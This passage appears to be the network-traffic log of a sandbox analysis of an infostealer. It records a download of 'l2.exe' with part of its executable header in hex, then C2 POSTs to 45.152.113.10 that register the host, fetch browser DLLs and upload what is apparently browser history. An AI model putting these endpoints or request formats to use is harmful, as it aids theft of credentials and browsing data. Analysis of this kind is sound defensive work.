Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 11 Sep 2024 20:52:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /app/l2.exe HTTP/1.1Host: evokeedgellc.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.152.113.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 45.152.113.10Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 37 41 35 38 30 46 36 42 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"A7A580F6B7411176838713------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"default------JJECGCBGDBKJJKEBFBFH--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIEHost: 45.152.113.10Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="message"browsers------DHIECGCAEBFIIDHIDGIE--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFIHost: 45.152.113.10Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="message"plugins------IJKKEHJDHJKFIECAAKFI--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDHost: 45.152.113.10Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="message"fplugins------GIJJKKJJDAAAAAKFHJJD--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 45.152.113.10Content-Length: 8523Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/sqlite3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIIEHJDBKJKECBFHDGHost: 45.152.113.10Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 45.152.113.10Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCFHost: 45.152.113.10Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 2d 2d 0d 0a Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file"------JKJDAEBFCBKECBGDBFCF--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJHost: 45.152.113.10Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="file"------KFIDBAFHCAKFBGCBFHIJ--
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/freebl3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/mozglue.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/msvcp140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/nss3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/softokn3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 45.152.113.10Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 45.152.113.10Content-Length: 1067Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 5a 6e 46 7a 4f 54 4a 76 4e 48 41 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 61 48 52 30 63 48 4d 36 4c 79 39 7a 64 58 42 77 62 33 4a 30 4c 6d 31 76 65 6d 6c 73 62 47 45 75 62 33 4a 6e 4c 33 42 79 62 32 52 31 59 33 52 7a 4c 32 5a 70 63 6d 56 6d 62 33 67 4b 61 48 52 30 63 48 4d 36 4c 79 39 7a 64 58 42 77 62 33 4a 30 4c 6d 31 76 65 6d 6c 73 62 47 45 75 62 33 4a 6e 4c 32 74 69 4c 32 4e 31 63 33 52 76 62 57 6c 36 5a 53 31 6d 61 58 4a 6c 5a 6d 39 34 4c 57 4e 76 62 6e 52 79 62 32 78 7a 4c 57 4a 31 64 48 52 76 62 6e 4d 74 59 57 35 6b 4c 58 52 76 62 32 78 69 59 58 4a 7a 50 33 56 30 62 56 39 7a 62 33 56 79 59 32 55 39 5a 6d 6c 79 5a 57 5a 76 65 43 31 69 63 6d 39 33 63 32 56 79 4a 6e 56 30 62 56 39 74 5a 57 52 70 64 57 30 39 5a 47 56 6d 59 58 56 73 64 43 31 69 62 32 39 72 62 57 46 79 61 33 4d 6d 64 58 52 74 58 32 4e 68 62 58 42 68 61 57 64 75 50 57 4e 31 63 33 52 76 62 57 6c 36 5a 51 70 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 74 62 33 70 70 62 47 78 68 4c 6d 39 79 5a 79 39 6a 62 32 35 30 63 6d 6c 69 64 58 